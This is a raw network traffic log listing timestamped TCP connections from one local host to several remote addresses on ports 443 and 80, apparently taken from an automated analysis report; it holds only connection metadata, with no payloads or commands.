Oct 30, 2024 18:06:30.981297970 CET	443	49722	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.981479883 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.981488943 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.981493950 CET	443	49722	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.981575012 CET	49722	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.981601000 CET	49722	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.981617928 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.983408928 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.986920118 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.986991882 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.987348080 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.987366915 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.987514019 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.993669987 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.000667095 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.000673056 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.000694036 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.000740051 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.000787973 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.000864029 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.000895023 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.000910997 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.002171993 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.002187014 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.002276897 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.006336927 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.011862993 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.011888981 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.015322924 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.015336990 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.018033028 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.018116951 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.018126011 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.019334078 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.023786068 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.029803038 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.029834986 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.031222105 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.031230927 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.031301975 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.036106110 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.041877031 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.041908026 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.041963100 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.041973114 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.043287992 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.047832012 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.053916931 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.053977966 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.054003000 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.054013014 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.054056883 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.059940100 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.066087008 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.067095995 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.067106962 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.075831890 CET	49727	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.075879097 CET	443	49727	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.075972080 CET	49727	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.076641083 CET	49728	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.076651096 CET	443	49728	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.076945066 CET	49728	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.077023983 CET	49729	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.077070951 CET	443	49729	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.077228069 CET	49727	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.077239990 CET	443	49727	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.077334881 CET	49729	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.077446938 CET	49729	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.077465057 CET	443	49729	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.077578068 CET	49728	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.077589035 CET	443	49728	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.078284979 CET	49730	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.078296900 CET	443	49730	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.078450918 CET	49730	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.078524113 CET	49731	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.078535080 CET	443	49731	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.078625917 CET	49730	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.078634024 CET	443	49730	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.078696012 CET	49731	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.078839064 CET	49731	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.078851938 CET	443	49731	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.090948105 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.091008902 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.091017962 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.094773054 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.094820976 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.094953060 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.094965935 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.095084906 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.095122099 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.095267057 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.095339060 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.095346928 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.095870018 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.095911980 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.096035957 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.096044064 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.096124887 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.100415945 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.105732918 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.105766058 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.105865002 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.105875969 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.106328964 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.110956907 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.116317034 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.116343021 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.118691921 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.118709087 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.119152069 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.119699001 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.122967958 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.122996092 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.123100996 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.123111963 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.123749971 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.126283884 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.129354000 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.129403114 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.129431009 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.129445076 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.129800081 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.132527113 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.135591984 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.135632992 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.135735035 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.135752916 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.135870934 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.138931036 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.184031963 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.184056044 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.185126066 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.185201883 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:31.185264111 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:31.199942112 CET	80	49721	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:31.200299025 CET	49721	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:31.338644028 CET	49721	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:31.344052076 CET	80	49721	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:31.512077093 CET	49714	443	192.168.2.5	20.109.210.53
Oct 30, 2024 18:06:31.512126923 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:31.693871021 CET	443	49726	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:31.693996906 CET	49726	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:31.704786062 CET	49726	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:31.704803944 CET	443	49726	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:31.705106974 CET	443	49726	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:31.746537924 CET	49726	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:31.754245996 CET	49726	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:31.799329996 CET	443	49726	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:31.831058979 CET	443	49731	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.831747055 CET	49731	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.831760883 CET	443	49731	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.833854914 CET	49731	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.833861113 CET	443	49731	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.834261894 CET	443	49730	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.834602118 CET	49730	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.834620953 CET	443	49730	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.835215092 CET	49730	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.835221052 CET	443	49730	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.840650082 CET	443	49727	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.841061115 CET	49727	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.841070890 CET	443	49727	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.841661930 CET	49727	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.841666937 CET	443	49727	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.855695009 CET	443	49729	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.856184959 CET	49729	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.856194019 CET	443	49729	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.856761932 CET	49729	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.856766939 CET	443	49729	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.868341923 CET	443	49728	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.868757963 CET	49728	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.868774891 CET	443	49728	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.869395018 CET	49728	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.869399071 CET	443	49728	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.967329025 CET	443	49731	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.967350006 CET	443	49731	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.967415094 CET	49731	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.967427969 CET	443	49731	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.967441082 CET	443	49731	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.967508078 CET	49731	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.967833996 CET	49731	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.967833996 CET	49731	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.967852116 CET	443	49731	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.967859983 CET	443	49731	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.970329046 CET	443	49730	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.970494032 CET	443	49730	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.970551968 CET	49730	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.970843077 CET	49730	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.970843077 CET	49730	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.970855951 CET	443	49730	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.970864058 CET	443	49730	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.971067905 CET	49734	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.971157074 CET	443	49734	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.971246958 CET	49734	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.971654892 CET	49734	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.971688986 CET	443	49734	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.973189116 CET	49735	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.973225117 CET	443	49735	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.973377943 CET	49735	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.973524094 CET	49735	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.973541975 CET	443	49735	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.978919029 CET	443	49727	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.978950024 CET	443	49727	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.979002953 CET	49727	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.979015112 CET	443	49727	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.979029894 CET	443	49727	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.979054928 CET	49727	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.979084969 CET	49727	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.979228020 CET	49727	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.979240894 CET	443	49727	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.979250908 CET	49727	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.979254961 CET	443	49727	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.981273890 CET	49736	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.981300116 CET	443	49736	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.981437922 CET	49736	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.981528044 CET	49736	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.981537104 CET	443	49736	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.996409893 CET	443	49729	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.996427059 CET	443	49729	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.996475935 CET	443	49729	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.996526957 CET	49729	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.996571064 CET	49729	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.996781111 CET	49729	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.996792078 CET	443	49729	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.996808052 CET	49729	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.996814013 CET	443	49729	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.997922897 CET	443	49726	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:31.997972012 CET	443	49726	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:31.998049021 CET	49726	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:31.998261929 CET	49726	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:31.998261929 CET	49726	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:31.998267889 CET	443	49726	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:31.998275042 CET	443	49726	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:31.999309063 CET	49737	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.999411106 CET	443	49737	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:31.999577999 CET	49737	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.999803066 CET	49737	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:31.999831915 CET	443	49737	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.013379097 CET	443	49728	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.013540983 CET	443	49728	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.013600111 CET	49728	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.013626099 CET	49728	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.013637066 CET	443	49728	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.013648987 CET	49728	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.013653040 CET	443	49728	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.015710115 CET	49738	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.015729904 CET	443	49738	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.015943050 CET	49738	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.016225100 CET	49738	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.016235113 CET	443	49738	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.032257080 CET	49739	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:32.032294035 CET	443	49739	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:32.032481909 CET	49739	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:32.032776117 CET	49739	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:32.032802105 CET	443	49739	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:32.129797935 CET	80	49721	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:32.129978895 CET	49721	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:32.726195097 CET	443	49734	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.726768970 CET	49734	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.726814985 CET	443	49734	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.728595018 CET	49734	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.728611946 CET	443	49734	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.742352962 CET	443	49735	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.742911100 CET	49735	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.742944002 CET	443	49735	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.743402004 CET	49735	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.743408918 CET	443	49735	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.743952990 CET	443	49736	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.744479895 CET	49736	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.744513988 CET	443	49736	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.744915962 CET	49736	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.744921923 CET	443	49736	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.754867077 CET	443	49737	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.755350113 CET	49737	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.755419016 CET	443	49737	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.755830050 CET	49737	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.755844116 CET	443	49737	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.800498962 CET	443	49738	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.801043987 CET	49738	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.801064014 CET	443	49738	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.801625013 CET	49738	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.801630974 CET	443	49738	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.862864971 CET	443	49734	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.862926960 CET	443	49734	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.863054037 CET	49734	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.863248110 CET	49734	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.863248110 CET	49734	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.863286018 CET	443	49734	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.863310099 CET	443	49734	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.866558075 CET	49740	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.866595984 CET	443	49740	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.866715908 CET	49740	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.866889954 CET	49740	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.866902113 CET	443	49740	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.882648945 CET	443	49735	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.882776022 CET	443	49735	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.882833958 CET	443	49736	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.882838964 CET	49735	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.882960081 CET	49735	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.882960081 CET	49735	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.882981062 CET	443	49735	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.882989883 CET	443	49735	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.883105040 CET	443	49736	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.883150101 CET	49736	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.890116930 CET	443	49739	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:32.890203953 CET	49739	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:32.890654087 CET	49736	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.890676975 CET	443	49736	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.890691042 CET	49736	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.890696049 CET	443	49736	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.891380072 CET	443	49737	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.891442060 CET	443	49737	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.891493082 CET	49737	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.894026995 CET	49739	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:32.894043922 CET	443	49739	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:32.894253969 CET	443	49739	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:32.898437023 CET	49739	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:32.899163008 CET	49737	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.899163008 CET	49737	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.899190903 CET	443	49737	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.899214029 CET	443	49737	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.903933048 CET	49741	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.903975010 CET	443	49741	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.904031992 CET	49741	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.905132055 CET	49741	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.905148029 CET	443	49741	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.906733036 CET	49742	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.906753063 CET	443	49742	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.906816006 CET	49742	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.907092094 CET	49742	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.907103062 CET	443	49742	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.907608032 CET	49743	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.907617092 CET	443	49743	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.908181906 CET	49743	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.908401966 CET	49743	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.908413887 CET	443	49743	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.938910007 CET	443	49738	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.939197063 CET	443	49738	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.939253092 CET	49738	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.939282894 CET	49738	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.939296007 CET	443	49738	13.107.253.45	192.168.2.5
